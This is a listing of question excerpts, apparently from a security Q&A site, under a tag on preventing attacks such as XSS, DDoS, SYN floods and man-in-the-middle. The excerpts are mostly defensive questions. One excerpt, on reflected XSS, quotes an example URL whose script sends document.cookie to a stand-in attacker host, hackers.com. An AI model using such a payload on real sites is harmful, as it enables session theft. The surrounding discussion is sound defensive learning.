prevention of an attack vector (e.g. XSS, HPP, CSRF)

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10
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3answers
1k views

Possible to prevent Juice Jacking by only connecting USB pins 1 & 4?

According to this accepted answer, there is no phone on the market today that is immune from "Juice Jacking"*. I think an easy way to mitigate this threat is to have a filter that blocks USB pins 2 ...
-3
votes
2answers
116 views

What kind of virus attack is this? And what do I do now?

I have just inherited a running wordpress installation from another agency and the theme (twentyeleven) they are using for my client has been corrupted. This is what most of the theme's php files ...
0
votes
1answer
631 views

What is the difference between SYN cookie, SYN cache, and SYN proxy?

I am trying to understand some techniques regarding SYN flood prevention and there are three terms I couldn't find a clear explanation of. The terms that are confusing me are: SYN Proxy SYN Cache ...
9
votes
3answers
693 views

Is it possible to prevent a physical attack on full disk encryption?

I've been researching into some methods to ensure that disk encryption keys can't be stolen, and one that I've come across is called TRESOR. With this kernel patch, you can create a partition that is ...
2
votes
2answers
336 views

Basic Security Knowledge [closed]

Perhaps I am being both naive and overly ambitious in my first post but I have a huge interest in learning about network and system security and am at a loss as to where to begin. I realize that stack ...
0
votes
1answer
52 views

How much is ASLR effectiveness impacted by different ABIs?

Linux has multiple x86 ABIs: ia32, x32 and x86_64. ia32 and x32 both use 32 bit addresses for addressing and x86_64 uses 64 bit. Now, the question: Since the size of the memory space should affect ...
8
votes
1answer
218 views

Should Content in <noscript> Blocks Be Escaped

The title pretty much says it all. It seems counter-intuitive to escape inside a <noscript> block because any js that an attacker is able to inject there shouldn't be executed. But, I'm still ...
1
vote
0answers
160 views

Possible exploits for PHPword/ PHPexcel

I'm trying to identify what exploits to guard against when anonymous users generate reports with PHPword and PHPexcel (or similar libraries). Specifically, I'm worried about textarea inputs where ...
0
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2answers
154 views

Is there an open source runtime enforcement tool?

I have been looking for open source runtime enforcement tools that I can use my own policies to prevent input validation vulnerabilities, in web applications. The web applications that I want to ...
6
votes
1answer
642 views

Using skype for an attack

I am curious about something; let's say someone randomly added me to Skype and tried to initiate a chat with me and I want to know more about them but I am worried if they can do some damage. My ...
1
vote
3answers
311 views

How to detect anomalous activity in web server traffic?

I'm wondering how to successfully detect malicious activity in my web server traffic? Could you point me out some popular solutions which can help me to detect attacks on my web application? I ...
2
votes
1answer
85 views

Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
2
votes
0answers
45 views

Arbitrary methods directly callable with Front Controller pattern

I'm working on converting an application that uses the traditional Page Controller pattern to start using the Front Controller pattern. One of the potential problems I'm thinking about is that with a ...
10
votes
2answers
302 views

How do you compare risks from your websites, physical perimeter, staff etc

In assigning budget rationally - ie proportionally to the risk in a particular area, how can you calculate the relative risks? I can think of examples where clients of mine have secured their ...
61
votes
2answers
10k views

What are rainbow tables and how are they used?

Where can I find one? Is there a pot of gold at the end? How do I protect against them? From the Area51 proposal This question was IT Security Question of the Week. Read the Sep 09, 2011 blog ...
20
votes
7answers
827 views

How can I protect a WordPress installation?

How do you go about protecting a default WordPress installation? What checklist do you use, best practices, tips and tricks, etc? Any recommendations on plugins, third-party tools are welcome.
2
votes
3answers
449 views

What are the risks of a rogue Access Point? What lessons can be learned from the Wifi Pineapple?

I'd like to educate colleagues and peers on rogue access points using the tool "Wifi Pineapple". What are some specific security-related lessons I could demonstrate? If applicable, what are the ...
6
votes
1answer
4k views

What is packet drop, packet loss and how Packet drop attack works?

I confused with the three terms: Packet drop. Packet loss. Packet drop attack.
0
votes
1answer
1k views

What methods are there of protecting a VPS from DDOS attacks? [duplicate]

I was just wondering what would be the best way to stop a VPS from being attacked, bandwidth would be a problem in this case so methods that reduce the amount of incoming attacks and stop sending ...
6
votes
4answers
2k views

Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
0
votes
1answer
111 views

File-structure when using token

I'm using a form-token to secure the validation process of my php-file. Basically the structure of the php-file looks like this: if ($_POST) {//form has been submitted? if (validateFormToken) { ...
2
votes
1answer
157 views

Submit form with token

I have a token that I want to use to prevent direct access of some php-files. Some of these php-files are loaded via AJAX. The token is used with a session to secure form submission AND to prevent ...
-2
votes
1answer
123 views

Commonly used url parameters [duplicate]

I'm working on a project that requires me to tamper with/rewrite url parameters. I'd also like to add in something that finds request parameters such as ?admin=false ?debugging=false ?page=example ...
2
votes
2answers
385 views

Attacks in SSL and SSH

Assume that we have two end-host A and B connected by two routers R1 and R2. A wants to send a large file to B. A decides to establish SSH connection with host B using public key authentication. ...
0
votes
2answers
438 views

How can I stop this attack on my router?

After enabling system log on my Asus DSL-N10E router, I've got this message: DoS: Tcp SYN With Data Attack source=217.74.166.73 What does it mean? Is it a real danger on my network security? And ...
2
votes
4answers
192 views

How is “security word” safe from man in the middle attack?

In this bank site I read the following lines Item #2 - You will also need to create a "Security Word". This allows you to verify that you have reached our Internet Banking site, and not some other ...
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votes
2answers
764 views

Is this site vulnerable to sql injection? [closed]

I have my site build from a company. I read about website vulnerabilities on the internet and i did some test on my site. It throws these errors. QueryString key:TutorialId was expected to be of ...
3
votes
1answer
280 views

What steps need to do to identify security hole

I use VPS hosting. Installed CentOS 6 and ZPanel according to this tutorial http://www.zvps.co.uk/zpanelcp/centos-6 Received warning from hosting provider: This URL has been identified as a phishing ...
0
votes
1answer
456 views

Stack Guard vs Stack Shield

I would like to know why nowadays Stack Guard is used everywhere (example: ProPolice in GCC, /GS in Visual Studio), instead of Stack Shield. Both the approaches (i.e. Stack Guard & Stack Shield) ...
2
votes
1answer
407 views

Android, how do I prevent Confused Deputy Attacks?

In case that a malicious mobile app hasn't the appropriate permissions to e.g. download a file, it can invoke a browser to download sth. Concrete examples of such an attack are shown from page 27 to ...
6
votes
4answers
499 views

Who sells IP reputation data sets?

I know of many companies that will sell ability to lookup IP/URI reputation. Be it DNSBL, json/*, returnpath, threatstop, surbl, ..., will let me perform lookups for a reasonable fee but, in case of ...
8
votes
1answer
345 views

Is the system bios and network card protected by the OS firewall?

My question arises from trying to understand new types of spyware that target the system bios and/or network card. Is the system bios and ethernet card both protected by an OS firewall set to deny ...
4
votes
4answers
11k views

How to prevent my website from getting malware injection attacks?

My website was banned as a malware website by Google. When I checked the code, I found out that some code injected many files on my server. I cleaned everything manually, edited all files on my server ...
7
votes
5answers
9k views

How to trace a DDOS attack on a dedicated server and block it?

I have a dedicated server and I'm hosting a game, and the web page (using Apache) for account registering. The server is being ddosed since 8 months ago till today. I've tried to talk with the server ...
1
vote
2answers
3k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
4
votes
2answers
620 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
4
votes
3answers
3k views

How to protect myself against paid DDoS services?

I am domestic user and I am getting attacked regularly by a guy that hates me. Here is the background story: that guy uses Skype resolvers (tools offered by paid DDoS services) to find out my IP ...
2
votes
1answer
75 views

Server Detection Vectors

I have a web server, and I would like to anonymise it as much as possible, to prevent unreported exploits directed at my web server (original cracks). My ideas: change server header customize 404 ...
0
votes
2answers
940 views

Windows user: Is having many active TCP connections normal?

Is this normal? Can any ports be "dangerous"? I have 9 tcp's in a listening state, 4 in a close_wait state, and 4 in an established state. Some of them route to odd procceses using PID such as ...
0
votes
1answer
102 views

Finding the method of attack [closed]

My server has been repeatedly attacked in the last few days. Here's the observations: The ISP server traffic monitor shows the incoming traffic goes up to 300Mbps (with no outgoing traffic), and ...
1
vote
2answers
423 views

Prevent my site to be sniffed and changed by man-in-the-middle-attacks

I want to secure site which is locally used for Prepaid Services, the site has been hacked many times, for the first step, I implemented SSL and its now working fine, however, I want to be sure that ...
8
votes
1answer
483 views

Is it possible to recognise and prevent MitM attacks on devices which use self-signed SSL certs?

I use both Linux and Windows at work on a large enterprise LAN. The majority of the network configuration is out of my reach. Certain SaaS applications that are hosted locally on the enterprise LAN, ...
0
votes
1answer
203 views

Response to script-kiddies “scanning” website for vulnerabilities? [duplicate]

I have a website and I have email reports when 500 errors occur. Many of these errors occur because "hackers" are running scripts to look for common vulnerabilities or access to admin interfaces - ...
-6
votes
1answer
81 views

Kerberos v4 compromised TGS [closed]

What would happen under the Kerberos v4 protocol if an attacker has compromised TGS and identified the Ktgs key? What would be the outcomes of such an attack?
1
vote
1answer
73 views

How to protect integrity of resource files in a white-box attack context?

In a white-box attack context (e.g. PC, tablet, smartphone), there is no trusted entity, which can be used to guarantee some reasonable security. TPM is not considered a solution because it is not ...
0
votes
1answer
530 views

Man-in-the-middle attack over an encrypted channel

I learned recently about man-in-the-middle attacks and came up with this question. Let's say we have two computers who try to communicate over the network. Each computer has an encryptor and a ...
7
votes
3answers
418 views

Does Gmail 2-factor auth increase security on smartphones?

So I have enabled 2-factor authentication on Gmail, which means that if I log in on a new machine, it sends a token to my phone. Now, if I access Gmail from my phone, it seems like I have only one ...
11
votes
6answers
3k views

How can mini-computers (like Raspberry Pi) be applied to IT security?

It's no secret that thousands of $35 Raspberry Pi (Model B) computers have just shipped to people around the world. With these, and other similar types of computers becoming cheaper and more ...
4
votes
1answer
113 views

Security consequence of Javascript hole in an online chat?

For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat? What is the worst thing they could do?
7
votes
1answer
419 views

How does ASCII-Armoring help to prevent buffer-overflow attacks?

I was reading about return-to-libc attacks at Wikipedia. According to what I read and understood from the article, ASCII armoring means that binary data is converted into ASCII values by grouping ...